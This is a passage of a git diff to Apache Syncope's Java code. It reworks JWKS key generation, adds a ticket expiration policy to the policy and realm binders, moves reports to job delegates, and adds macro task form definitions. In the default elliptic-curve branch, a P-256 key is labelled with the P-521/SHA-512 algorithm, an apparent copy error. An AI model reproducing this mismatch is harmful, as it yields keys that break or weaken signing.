EcJwkGenerator.generateJwk(EllipticCurves.P521); + jwk.setAlgorithm(AlgorithmIdentifiers.ECDSA_USING_P521_CURVE_AND_SHA512); + break; + + default: + jwk = EcJwkGenerator.generateJwk(EllipticCurves.P256); + jwk.setAlgorithm(AlgorithmIdentifiers.ECDSA_USING_P521_CURVE_AND_SHA512); + } + break; + + case "rsa": + default: + jwk = RsaJwkGenerator.generateJwk(jwksKeySize); + } - case "rsa": - default: - jwk = new RSAKeyGenerator(jwksKeySize). - keyUse(KeyUse.SIGNATURE). - keyID(jwksKeyId.concat("-"). - concat(SecureRandomUtils.generateRandomUUID().toString().substring(0, 8))). - generate(); - } - } catch (JOSEException | InvalidAlgorithmParameterException | NoSuchAlgorithmException e) { + jwk.setKeyId(jwksKeyId.concat("-").concat(SecureRandomUtils.generateRandomLetters(8))); + jwk.setUse(use); + jwk.setOtherParameter(PARAMETER_STATE, state.getState()); + return jwk; + } + + @Override + public OIDCJWKS create(final String jwksKeyId, final String jwksType, final int jwksKeySize) { + List keys = new ArrayList<>(); + try { + keys.add(generate(jwksKeyId, jwksType, jwksKeySize, Use.SIGNATURE, JsonWebKeyLifecycleState.CURRENT)); + keys.add(generate(jwksKeyId, jwksType, jwksKeySize, Use.ENCRYPTION, JsonWebKeyLifecycleState.CURRENT)); + keys.add(generate(jwksKeyId, jwksType, jwksKeySize, Use.SIGNATURE, JsonWebKeyLifecycleState.FUTURE)); + keys.add(generate(jwksKeyId, jwksType, jwksKeySize, Use.ENCRYPTION, JsonWebKeyLifecycleState.FUTURE)); + } catch (JoseException e) { LOG.error("Could not create OIDC JWKS", e); SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.Unknown); @@ -116,8 +112,8 @@ public OIDCJWKS create(final String jwksKeyId, final String jwksType, final int throw sce; } - OIDCJWKS jwks = entityFactory.newEntity(OIDCJWKS.class); - jwks.setJson(JSONObjectUtils.toJSONString(new JWKSet(jwk).toJSONObject(false))); - return jwks; + OIDCJWKS oidcJWKS = entityFactory.newEntity(OIDCJWKS.class); + oidcJWKS.setJson(new JsonWebKeySet(keys).toJson(JsonWebKey.OutputControlLevel.INCLUDE_PRIVATE)); + return oidcJWKS; } } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/PolicyDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/PolicyDataBinderImpl.java index fdf1c3c1bc0..c3a5dcf1576 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/PolicyDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/PolicyDataBinderImpl.java @@ -28,6 +28,7 @@ import org.apache.syncope.common.lib.policy.PropagationPolicyTO; import org.apache.syncope.common.lib.policy.PullPolicyTO; import org.apache.syncope.common.lib.policy.PushPolicyTO; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; @@ -49,6 +50,7 @@ import org.apache.syncope.core.persistence.api.entity.policy.PullPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PushCorrelationRuleEntity; import org.apache.syncope.core.persistence.api.entity.policy.PushPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.provisioning.api.data.PolicyDataBinder; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -239,12 +241,6 @@ protected T getPolicy(final T policy, final PolicyTO policyTO AccessPolicyTO accessPolicyTO = AccessPolicyTO.class.cast(policyTO); accessPolicy.setName(accessPolicyTO.getKey()); - accessPolicy.setOrder(accessPolicyTO.getOrder()); - accessPolicy.setEnabled(accessPolicyTO.isEnabled()); - accessPolicy.setSsoEnabled(accessPolicyTO.isSsoEnabled()); - accessPolicy.setRequireAllAttributes(accessPolicyTO.isRequireAllAttributes()); - accessPolicy.setCaseInsensitive(accessPolicyTO.isCaseInsensitive()); - accessPolicy.setUnauthorizedRedirectUrl(accessPolicyTO.getUnauthorizedRedirectUrl()); accessPolicy.setConf(accessPolicyTO.getConf()); } else if (policyTO instanceof AttrReleasePolicyTO) { if (result == null) { @@ -258,6 +254,15 @@ protected T getPolicy(final T policy, final PolicyTO policyTO attrReleasePolicy.setOrder(attrReleasePolicyTO.getOrder()); attrReleasePolicy.setStatus(attrReleasePolicyTO.getStatus()); attrReleasePolicy.setConf(attrReleasePolicyTO.getConf()); + } else if (policyTO instanceof TicketExpirationPolicyTO) { + if (result == null) { + result = (T) entityFactory.newEntity(TicketExpirationPolicy.class); + } + + TicketExpirationPolicy ticketExpirationPolicy = TicketExpirationPolicy.class.cast(result); + TicketExpirationPolicyTO ticketExpirationPolicyTO = TicketExpirationPolicyTO.class.cast(policyTO); + + ticketExpirationPolicy.setConf(ticketExpirationPolicyTO.getConf()); } if (result != null) { @@ -339,16 +344,9 @@ public T getPolicyTO(final Policy policy) { authPolicyTO.setConf(((AuthPolicy) policy).getConf()); } else if (policy instanceof AccessPolicy) { - AccessPolicy accessPolicy = AccessPolicy.class.cast(policy); AccessPolicyTO accessPolicyTO = new AccessPolicyTO(); policyTO = (T) accessPolicyTO; - accessPolicyTO.setOrder(accessPolicy.getOrder()); - accessPolicyTO.setEnabled(accessPolicy.isEnabled()); - accessPolicyTO.setSsoEnabled(accessPolicy.isSsoEnabled()); - accessPolicyTO.setRequireAllAttributes(accessPolicy.isRequireAllAttributes()); - accessPolicyTO.setCaseInsensitive(accessPolicy.isCaseInsensitive()); - accessPolicyTO.setUnauthorizedRedirectUrl(accessPolicy.getUnauthorizedRedirectUrl()); accessPolicyTO.setConf(((AccessPolicy) policy).getConf()); } else if (policy instanceof AttrReleasePolicy) { AttrReleasePolicy attrReleasePolicy = AttrReleasePolicy.class.cast(policy); @@ -358,6 +356,12 @@ public T getPolicyTO(final Policy policy) { attrReleasePolicyTO.setOrder(attrReleasePolicy.getOrder()); attrReleasePolicyTO.setStatus(attrReleasePolicy.getStatus()); attrReleasePolicyTO.setConf(attrReleasePolicy.getConf()); + } else if (policy instanceof TicketExpirationPolicy) { + TicketExpirationPolicy ticketExpirationPolicy = TicketExpirationPolicy.class.cast(policy); + TicketExpirationPolicyTO ticketExpirationPolicyTO = new TicketExpirationPolicyTO(); + policyTO = (T) ticketExpirationPolicyTO; + + ticketExpirationPolicyTO.setConf(ticketExpirationPolicy.getConf()); } if (policyTO != null) { @@ -366,7 +370,8 @@ public T getPolicyTO(final Policy policy) { if (!(policy instanceof AuthPolicy) && !(policy instanceof AccessPolicy) - && !(policy instanceof AttrReleasePolicy)) { + && !(policy instanceof AttrReleasePolicy) + && !(policy instanceof TicketExpirationPolicy)) { policyTO.getUsedByResources().addAll( resourceDAO.findByPolicy(policy).stream(). diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/RealmDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/RealmDataBinderImpl.java index 7c89e0c794a..efd902a9e3f 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/RealmDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/RealmDataBinderImpl.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.core.provisioning.java.data; +import java.util.Optional; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.RealmTO; import org.apache.syncope.common.lib.types.ClientExceptionType; @@ -39,6 +40,7 @@ import org.apache.syncope.core.persistence.api.entity.policy.AuthPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; import org.apache.syncope.core.persistence.api.entity.policy.Policy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.provisioning.api.PropagationByResource; import org.apache.syncope.core.provisioning.api.data.RealmDataBinder; import org.apache.syncope.core.provisioning.java.utils.TemplateUtils; @@ -163,6 +165,17 @@ public Realm create(final Realm parent, final RealmTO realmTO) { throw sce; } } + if (realmTO.getTicketExpirationPolicy() != null) { + Policy policy = policyDAO.find(realmTO.getTicketExpirationPolicy()); + if (policy instanceof TicketExpirationPolicy) { + realm.setTicketExpirationPolicy((TicketExpirationPolicy) policy); + } else { + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidPolicy); + sce.getElements().add("Expected " + TicketExpirationPolicy.class.getSimpleName() + + ", found " + policy.getClass().getSimpleName()); + throw sce; + } + } realmTO.getActions().forEach(logicActionsKey -> { Implementation logicAction = implementationDAO.find(logicActionsKey); @@ -262,6 +275,20 @@ public PropagationByResource update(final Realm realm, final RealmTO rea } } + if (realmTO.getTicketExpirationPolicy() == null) { + realm.setTicketExpirationPolicy(null); + } else { + Policy policy = policyDAO.find(realmTO.getTicketExpirationPolicy()); + if (policy instanceof TicketExpirationPolicy) { + realm.setTicketExpirationPolicy((TicketExpirationPolicy) policy); + } else { + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidPolicy); + sce.getElements().add("Expected " + TicketExpirationPolicy.class.getSimpleName() + + ", found " + policy.getClass().getSimpleName()); + throw sce; + } + } + realmTO.getActions().forEach(logicActionsKey -> { Implementation logicActions = implementationDAO.find(logicActionsKey); if (logicActions == null) { @@ -304,16 +331,22 @@ public RealmTO getRealmTO(final Realm realm, final boolean admin) { realmTO.setKey(realm.getKey()); realmTO.setName(realm.getName()); - realmTO.setParent(realm.getParent() == null ? null : realm.getParent().getKey()); + Optional.ofNullable(realm.getParent()).ifPresent(parent -> realmTO.setParent(parent.getKey())); realmTO.setFullPath(realm.getFullPath()); if (admin) { - realmTO.setAccountPolicy(realm.getAccountPolicy() == null ? null : realm.getAccountPolicy().getKey()); - realmTO.setPasswordPolicy(realm.getPasswordPolicy() == null ? null : realm.getPasswordPolicy().getKey()); - realmTO.setAuthPolicy(realm.getAuthPolicy() == null ? null : realm.getAuthPolicy().getKey()); - realmTO.setAccessPolicy(realm.getAccessPolicy() == null ? null : realm.getAccessPolicy().getKey()); - realmTO.setAttrReleasePolicy( - realm.getAttrReleasePolicy() == null ? null : realm.getAttrReleasePolicy().getKey()); + Optional.ofNullable(realm.getAccountPolicy()). + ifPresent(policy -> realmTO.setAccountPolicy(policy.getKey())); + Optional.ofNullable(realm.getPasswordPolicy()). + ifPresent(policy -> realmTO.setPasswordPolicy(policy.getKey())); + Optional.ofNullable(realm.getAuthPolicy()). + ifPresent(policy -> realmTO.setAuthPolicy(policy.getKey())); + Optional.ofNullable(realm.getAccessPolicy()). + ifPresent(policy -> realmTO.setAccessPolicy(policy.getKey())); + Optional.ofNullable(realm.getAttrReleasePolicy()). + ifPresent(policy -> realmTO.setAttrReleasePolicy(policy.getKey())); + Optional.ofNullable(realm.getTicketExpirationPolicy()). + ifPresent(policy -> realmTO.setTicketExpirationPolicy(policy.getKey())); realm.getActions().forEach(action -> realmTO.getActions().add(action.getKey())); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ReportDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ReportDataBinderImpl.java index 1871f68f9cb..e6c12741f02 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ReportDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ReportDataBinderImpl.java @@ -24,14 +24,13 @@ import org.apache.syncope.common.lib.to.ExecTO; import org.apache.syncope.common.lib.to.ReportTO; import org.apache.syncope.common.lib.types.ClientExceptionType; +import org.apache.syncope.common.lib.types.IdRepoImplementationType; import org.apache.syncope.common.lib.types.JobType; import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; import org.apache.syncope.core.persistence.api.dao.ReportExecDAO; -import org.apache.syncope.core.persistence.api.dao.ReportTemplateDAO; import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.Report; import org.apache.syncope.core.persistence.api.entity.ReportExec; -import org.apache.syncope.core.persistence.api.entity.ReportTemplate; import org.apache.syncope.core.provisioning.api.data.ReportDataBinder; import org.apache.syncope.core.provisioning.api.job.JobNamer; import org.quartz.Scheduler; @@ -46,8 +45,6 @@ public class ReportDataBinderImpl extends AbstractExecutableDatabinder implement protected static final Logger LOG = LoggerFactory.getLogger(ReportDataBinder.class); - protected final ReportTemplateDAO reportTemplateDAO; - protected final ReportExecDAO reportExecDAO; protected final ImplementationDAO implementationDAO; @@ -55,12 +52,10 @@ public class ReportDataBinderImpl extends AbstractExecutableDatabinder implement protected final SchedulerFactoryBean scheduler; public ReportDataBinderImpl( - final ReportTemplateDAO reportTemplateDAO, final ReportExecDAO reportExecDAO, final ImplementationDAO implementationDAO, final SchedulerFactoryBean scheduler) { - this.reportTemplateDAO = reportTemplateDAO; this.reportExecDAO = reportExecDAO; this.implementationDAO = implementationDAO; this.scheduler = scheduler; @@ -69,41 +64,31 @@ public ReportDataBinderImpl( @Override public void getReport(final Report report, final ReportTO reportTO) { report.setName(reportTO.getName()); + report.setMimeType(reportTO.getMimeType()); + report.setFileExt(reportTO.getFileExt()); report.setCronExpression(reportTO.getCronExpression()); report.setActive(reportTO.isActive()); - ReportTemplate template = reportTemplateDAO.find(reportTO.getTemplate()); - if (template == null) { - SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.RequiredValuesMissing); - sce.getElements().add("template"); + Implementation jobDelegate = implementationDAO.find(reportTO.getJobDelegate()); + if (jobDelegate == null || !IdRepoImplementationType.REPORT_DELEGATE.equals(jobDelegate.getType())) { + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidImplementation); + sce.getElements().add("Null or invalid JobDelegate, expected " + IdRepoImplementationType.REPORT_DELEGATE); throw sce; } - report.setTemplate(template); - - reportTO.getReportlets().forEach(reportletKey -> { - Implementation reportlet = implementationDAO.find(reportletKey); - if (reportlet == null) { - LOG.debug("Invalid " + Implementation.class.getSimpleName() + " {}, ignoring...", reportletKey); - } else { - report.add(reportlet); - } - }); - // remove all implementations not contained in the TO - report.getReportlets().removeIf(reportlet -> !reportTO.getReportlets().contains(reportlet.getKey())); + report.setJobDelegate(jobDelegate); } @Override public ReportTO getReportTO(final Report report) { ReportTO reportTO = new ReportTO(); reportTO.setKey(report.getKey()); - reportTO.setTemplate(report.getTemplate().getKey()); reportTO.setName(report.getName()); + reportTO.setMimeType(report.getMimeType()); + reportTO.setFileExt(report.getFileExt()); reportTO.setCronExpression(report.getCronExpression()); + reportTO.setJobDelegate(report.getJobDelegate().getKey()); reportTO.setActive(report.isActive()); - reportTO.getReportlets().addAll( - report.getReportlets().stream().map(Implementation::getKey).collect(Collectors.toList())); - ReportExec latestExec = reportExecDAO.findLatestStarted(report); if (latestExec == null) { reportTO.setLatestExecStatus(StringUtils.EMPTY); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ResourceDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ResourceDataBinderImpl.java index 4927d4c5a06..a7e0c626bed 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ResourceDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ResourceDataBinderImpl.java @@ -140,8 +140,6 @@ public ExternalResource update(final ExternalResource resource, final ResourceTO resource.setPropagationPriority(resourceTO.getPropagationPriority()); - resource.setRandomPwdIfNotProvided(resourceTO.isRandomPwdIfNotProvided()); - // 1. add or update all (valid) provisions from TO resourceTO.getProvisions().forEach(provisionTO -> { AnyType anyType = anyTypeDAO.find(provisionTO.getAnyType()); @@ -400,7 +398,7 @@ public ExternalResource update(final ExternalResource resource, final ResourceTO }); // remove all implementations not contained in the TO resource.getPropagationActions(). - removeIf(implementation -> !resourceTO.getPropagationActions().contains(implementation.getKey())); + removeIf(propActions -> !resourceTO.getPropagationActions().contains(propActions.getKey())); return resource; } @@ -662,8 +660,6 @@ public ResourceTO getResourceTO(final ExternalResource resource) { resourceTO.setPropagationPriority(resource.getPropagationPriority()); - resourceTO.setRandomPwdIfNotProvided(resource.isRandomPwdIfNotProvided()); - resourceTO.setCreateTraceLevel(resource.getCreateTraceLevel()); resourceTO.setUpdateTraceLevel(resource.getUpdateTraceLevel()); resourceTO.setDeleteTraceLevel(resource.getDeleteTraceLevel()); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/TaskDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/TaskDataBinderImpl.java index fb6202645b8..26689efb690 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/TaskDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/TaskDataBinderImpl.java @@ -18,14 +18,21 @@ */ package org.apache.syncope.core.provisioning.java.data; +import java.util.Locale; +import java.util.Map; import java.util.Objects; import java.util.Optional; +import java.util.concurrent.ConcurrentHashMap; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.command.CommandArgs; import org.apache.syncope.common.lib.command.CommandTO; +import org.apache.syncope.common.lib.form.FormProperty; +import org.apache.syncope.common.lib.form.FormPropertyValue; +import org.apache.syncope.common.lib.form.SyncopeForm; import org.apache.syncope.common.lib.to.ExecTO; +import org.apache.syncope.common.lib.to.FormPropertyDefTO; import org.apache.syncope.common.lib.to.MacroTaskTO; import org.apache.syncope.common.lib.to.NotificationTaskTO; import org.apache.syncope.common.lib.to.PropagationTaskTO; @@ -51,7 +58,9 @@ import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.task.AnyTemplatePullTask; +import org.apache.syncope.core.persistence.api.entity.task.FormPropertyDef; import org.apache.syncope.core.persistence.api.entity.task.MacroTask; +import org.apache.syncope.core.persistence.api.entity.task.MacroTaskCommand; import org.apache.syncope.core.persistence.api.entity.task.NotificationTask; import org.apache.syncope.core.persistence.api.entity.task.PropagationTask; import org.apache.syncope.core.persistence.api.entity.task.ProvisioningTask; @@ -64,6 +73,8 @@ import org.apache.syncope.core.persistence.api.entity.task.TaskUtilsFactory; import org.apache.syncope.core.provisioning.api.data.TaskDataBinder; import org.apache.syncope.core.provisioning.api.job.JobNamer; +import org.apache.syncope.core.provisioning.api.macro.MacroActions; +import org.apache.syncope.core.provisioning.java.job.MacroJobDelegate; import org.apache.syncope.core.provisioning.java.pushpull.PullJobDelegate; import org.apache.syncope.core.provisioning.java.pushpull.PushJobDelegate; import org.apache.syncope.core.provisioning.java.utils.TemplateUtils; @@ -80,8 +91,6 @@ public class TaskDataBinderImpl extends AbstractExecutableDatabinder implements protected static final Logger LOG = LoggerFactory.getLogger(TaskDataBinder.class); - protected static final String MACRO_RUN_JOB_DELEGATE = "org.apache.syncope.core.logic.job.MacroRunJobDelegate"; - protected final RealmDAO realmDAO; protected final ExternalResourceDAO resourceDAO; @@ -98,6 +107,8 @@ public class TaskDataBinderImpl extends AbstractExecutableDatabinder implements protected final TaskUtilsFactory taskUtilsFactory; + protected final Map perContextMacroActions = new ConcurrentHashMap<>(); + public TaskDataBinderImpl( final RealmDAO realmDAO, final ExternalResourceDAO resourceDAO, @@ -125,7 +136,7 @@ protected void fill(final ProvisioningTask provisioningTask, final Provisioni Implementation jobDelegate = pushTaskTO.getJobDelegate() == null ? implementationDAO.findByType(IdRepoImplementationType.TASKJOB_DELEGATE).stream(). - filter(impl -> PushJobDelegate.class.getName().equals(impl.getBody())). + filter(impl -> PushJobDelegate.class.getSimpleName().equals(impl.getKey())). findFirst().orElse(null) : implementationDAO.find(pushTaskTO.getJobDelegate()); if (jobDelegate == null) { @@ -156,15 +167,13 @@ protected void fill(final ProvisioningTask provisioningTask, final Provisioni // remove all filters not contained in the TO pushTask.getFilters().entrySet(). removeIf(filter -> !pushTaskTO.getFilters().containsKey(filter.getKey())); - - pushTask.setConcurrentSettings(pushTaskTO.getConcurrentSettings()); } else if (provisioningTask instanceof PullTask && provisioningTaskTO instanceof PullTaskTO) { PullTask pullTask = (PullTask) provisioningTask; PullTaskTO pullTaskTO = (PullTaskTO) provisioningTaskTO; Implementation jobDelegate = pullTaskTO.getJobDelegate() == null ? implementationDAO.findByType(IdRepoImplementationType.TASKJOB_DELEGATE).stream(). - filter(impl -> PullJobDelegate.class.getName().equals(impl.getBody())). + filter(impl -> PullJobDelegate.class.getSimpleName().equals(impl.getKey())). findFirst().orElse(null) : implementationDAO.find(pullTaskTO.getJobDelegate()); if (jobDelegate == null) { @@ -217,8 +226,6 @@ protected void fill(final ProvisioningTask provisioningTask, final Provisioni removeIf(anyTemplate -> !pullTaskTO.getTemplates().containsKey(anyTemplate.getAnyType().getKey())); pullTask.setRemediation(pullTaskTO.isRemediation()); - - pullTask.setConcurrentSettings(pullTaskTO.getConcurrentSettings()); } // 3. fill the remaining fields @@ -233,12 +240,15 @@ protected void fill(final ProvisioningTask provisioningTask, final Provisioni () -> LOG.debug("Invalid Implementation {}, ignoring...", action))); // remove all implementations not contained in the TO provisioningTask.getActions().removeIf(impl -> !provisioningTaskTO.getActions().contains(impl.getKey())); + + provisioningTask.setConcurrentSettings(provisioningTaskTO.getConcurrentSettings()); } protected void fill(final MacroTask macroTask, final MacroTaskTO macroTaskTO) { macroTask.setRealm(Optional.ofNullable(realmDAO.findByFullPath(macroTaskTO.getRealm())). orElseThrow(() -> new NotFoundException("Realm " + macroTaskTO.getRealm()))); + macroTask.getCommands().clear(); macroTaskTO.getCommands(). forEach(command -> Optional.ofNullable(implementationDAO.find(command.getKey())).ifPresentOrElse( impl -> { @@ -248,7 +258,12 @@ protected void fill(final MacroTask macroTask, final MacroTaskTO macroTaskTO) { args = ImplementationManager.emptyArgs(impl); } - macroTask.add(impl, args); + MacroTaskCommand macroTaskCommand = entityFactory.newEntity(MacroTaskCommand.class); + macroTaskCommand.setCommand(impl); + macroTaskCommand.setArgs(args); + + macroTaskCommand.setMacroTask(macroTask); + macroTask.add(macroTaskCommand); } catch (Exception e) { LOG.error("While adding Command {} to Macro", impl.getKey(), e); @@ -262,6 +277,33 @@ protected void fill(final MacroTask macroTask, final MacroTaskTO macroTaskTO) { macroTask.setContinueOnError(macroTaskTO.isContinueOnError()); macroTask.setSaveExecs(macroTaskTO.isSaveExecs()); + + macroTask.getFormPropertyDefs().clear(); + macroTaskTO.getFormPropertyDefs().forEach(fpdTO -> { + FormPropertyDef fpd = entityFactory.newEntity(FormPropertyDef.class); + fpd.setName(fpdTO.getName()); + fpd.getLabels().putAll(fpdTO.getLabels()); + fpd.setType(fpdTO.getType()); + fpd.setReadable(fpdTO.isReadable()); + fpd.setWritable(fpdTO.isWritable()); + fpd.setStringRegExp(fpdTO.getStringRegEx()); + fpd.setRequired(fpdTO.isRequired()); + fpd.setDatePattern(fpdTO.getDatePattern()); + fpd.setEnumValues(fpdTO.getEnumValues()); + fpd.setDropdownSingleSelection(fpdTO.isDropdownSingleSelection()); + fpd.setDropdownFreeForm(fpdTO.isDropdownFreeForm()); + + fpd.setMacroTask(macroTask); + macroTask.add(fpd); + }); + + if (macroTaskTO.getMacroActions() == null) { + macroTask.setMacroAction(null); + } else { + Optional.ofNullable(implementationDAO.find(macroTaskTO.getMacroActions())).ifPresentOrElse( + macroTask::setMacroAction, + () -> LOG.debug("Invalid Implementation {}, ignoring...", macroTaskTO.getMacroActions())); + } } @Override @@ -287,15 +329,15 @@ public SchedTask createSchedTask(final SchedTaskTO taskTO, final TaskUtils taskU Implementation jobDelegate = macroTaskTO.getJobDelegate() == null ? implementationDAO.findByType(IdRepoImplementationType.TASKJOB_DELEGATE).stream(). - filter(impl -> MACRO_RUN_JOB_DELEGATE.equals(impl.getBody())). + filter(impl -> MacroJobDelegate.class.getName().equals(impl.getBody())). findFirst().orElse(null) : implementationDAO.find(macroTaskTO.getJobDelegate()); if (jobDelegate == null) { jobDelegate = entityFactory.newEntity(Implementation.class); - jobDelegate.setKey(StringUtils.substringAfterLast(MACRO_RUN_JOB_DELEGATE, ".")); + jobDelegate.setKey(MacroJobDelegate.class.getSimpleName()); jobDelegate.setEngine(ImplementationEngine.JAVA); jobDelegate.setType(IdRepoImplementationType.TASKJOB_DELEGATE); - jobDelegate.setBody(MACRO_RUN_JOB_DELEGATE); + jobDelegate.setBody(MacroJobDelegate.class.getName()); jobDelegate = implementationDAO.save(jobDelegate); } macroTask.setJobDelegate(jobDelegate); @@ -336,13 +378,7 @@ public void updateSchedTask(final SchedTask task, final SchedTaskTO taskTO, fina task.setActive(taskTO.isActive()); if (task instanceof MacroTask) { - MacroTaskTO macroTaskTO = (MacroTaskTO) taskTO; - MacroTask macroTask = (MacroTask) task; - - macroTask.getCommands().clear(); - macroTask.getCommandArgs().clear(); - - fill(macroTask, macroTaskTO); + fill((MacroTask) task, (MacroTaskTO) taskTO); } else if (task instanceof ProvisioningTask) { fill((ProvisioningTask) task, (ProvisioningTaskTO) taskTO); } @@ -411,6 +447,8 @@ protected void fill(final SchedTaskTO schedTaskTO, final SchedTask schedTask) { provisioningTaskTO.setPerformUpdate(provisioningTask.isPerformUpdate()); provisioningTaskTO.setPerformDelete(provisioningTask.isPerformDelete()); provisioningTaskTO.setSyncStatus(provisioningTask.isSyncStatus()); + + provisioningTaskTO.setConcurrentSettings(provisioningTask.getConcurrentSettings()); } } @@ -454,26 +492,46 @@ public T getTaskTO(final Task task, final TaskUtils taskUt SchedTask schedTask = (SchedTask) task; SchedTaskTO schedTaskTO = (SchedTaskTO) taskTO; - schedTaskTO.setJobDelegate(schedTask.getJobDelegate().getKey()); - fill(schedTaskTO, schedTask); + + schedTaskTO.setJobDelegate(schedTask.getJobDelegate().getKey()); break; case MACRO: MacroTask macroTask = (MacroTask) task; MacroTaskTO macroTaskTO = (MacroTaskTO) taskTO; + fill(macroTaskTO, macroTask); + macroTaskTO.setJobDelegate(macroTask.getJobDelegate().getKey()); macroTaskTO.setRealm(macroTask.getRealm().getFullPath()); - for (int i = 0; i < macroTask.getCommands().size(); i++) { - macroTaskTO.getCommands().add( - new CommandTO.Builder(macroTask.getCommands().get(i).getKey()). - args(macroTask.getCommandArgs().get(i)).build()); - } + + macroTask.getCommands().forEach(mct -> macroTaskTO.getCommands().add( + new CommandTO.Builder(mct.getCommand().getKey()).args(mct.getArgs()).build())); + macroTaskTO.setContinueOnError(macroTask.isContinueOnError()); macroTaskTO.setSaveExecs(macroTask.isSaveExecs()); - fill(macroTaskTO, macroTask); + macroTask.getFormPropertyDefs().forEach(fpd -> { + FormPropertyDefTO fpdTO = new FormPropertyDefTO(); + fpdTO.setKey(fpd.getKey()); + fpdTO.setName(fpd.getName()); + fpdTO.getLabels().putAll(fpd.getLabels()); + fpdTO.setType(fpd.getType()); + fpdTO.setReadable(fpd.isReadable()); + fpdTO.setWritable(fpd.isWritable()); + fpdTO.setRequired(fpd.isRequired()); + fpdTO.setStringRegEx(fpd.getStringRegEx()); + fpdTO.setDatePattern(fpd.getDatePattern()); + fpdTO.getEnumValues().putAll(fpd.getEnumValues()); + fpdTO.setDropdownSingleSelection(fpd.isDropdownSingleSelection()); + fpdTO.setDropdownFreeForm(fpd.isDropdownFreeForm()); + + macroTaskTO.getFormPropertyDefs().add(fpdTO); + }); + + Optional.ofNullable(macroTask.getMacroActions()). + ifPresent(fv -> macroTaskTO.setMacroActions(fv.getKey())); break; case PULL: @@ -489,17 +547,14 @@ public T getTaskTO(final Task task, final TaskUtils taskUt ? UnmatchingRule.PROVISION : pullTask.getUnmatchingRule()); pullTaskTO.setPullMode(pullTask.getPullMode()); - if (pullTask.getReconFilterBuilder() != null) { - pullTaskTO.setReconFilterBuilder(pullTask.getReconFilterBuilder().getKey()); - } + Optional.ofNullable(pullTask.getReconFilterBuilder()). + ifPresent(rfb -> pullTaskTO.setReconFilterBuilder(rfb.getKey())); pullTask.getTemplates(). forEach(template -> pullTaskTO.getTemplates(). put(template.getAnyType().getKey(), template.get())); pullTaskTO.setRemediation(pullTask.isRemediation()); - - pullTaskTO.setConcurrentSettings(pullTask.getConcurrentSettings()); break; case PUSH: @@ -515,8 +570,6 @@ public T getTaskTO(final Task task, final TaskUtils taskUt ? UnmatchingRule.ASSIGN : pushTask.getUnmatchingRule()); pushTaskTO.getFilters().putAll(pushTask.getFilters()); - - pushTaskTO.setConcurrentSettings(pushTask.getConcurrentSettings()); break; case NOTIFICATION: @@ -543,4 +596,67 @@ public T getTaskTO(final Task task, final TaskUtils taskUt return taskTO; } + + @Override + public SyncopeForm getMacroTaskForm(final MacroTask task, final Locale locale) { + if (task.getFormPropertyDefs().isEmpty()) { + throw new NotFoundException("No form properties defined for MacroTask " + task.getKey()); + } + + Optional actions; + if (task.getMacroActions() == null) { + actions = Optional.empty(); + } else { + try { + actions = Optional.of(ImplementationManager.build( + task.getMacroActions(), + () -> perContextMacroActions.get(task.getMacroActions().getKey()), + instance -> perContextMacroActions.put(task.getMacroActions().getKey(), instance))); + } catch (Exception e) { + LOG.error("Could not build {}", task.getMacroActions().getKey(), e); + + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidImplementation); + sce.getElements().add("Could not build " + task.getMacroActions().getKey()); + throw sce; + } + } + + SyncopeForm form = new SyncopeForm(); + + form.getProperties().addAll(task.getFormPropertyDefs().stream().map(fpd -> { + FormProperty prop = new FormProperty(); + prop.setId(fpd.getName()); + prop.setName(fpd.getLabels().getOrDefault(locale, fpd.getName())); 